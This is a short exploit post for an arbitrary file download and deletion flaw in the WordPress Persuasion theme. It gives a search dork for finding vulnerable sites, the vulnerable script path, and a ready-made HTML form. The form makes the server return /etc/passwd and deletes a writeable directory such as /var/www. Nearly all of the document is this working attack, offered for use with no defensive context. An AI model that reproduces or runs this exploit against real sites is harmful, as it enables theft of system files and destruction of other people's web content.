Exploit Wordpress : Persuasion Theme - Arbitary File Downloa

Dork: inurl:/wp-content/themes/persuasion/

Vuln Path: /wp-content/themes/persuasion/lib/scripts/dl-skin.php


Exploit script.html

<html>
<body>
<form action="http://site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>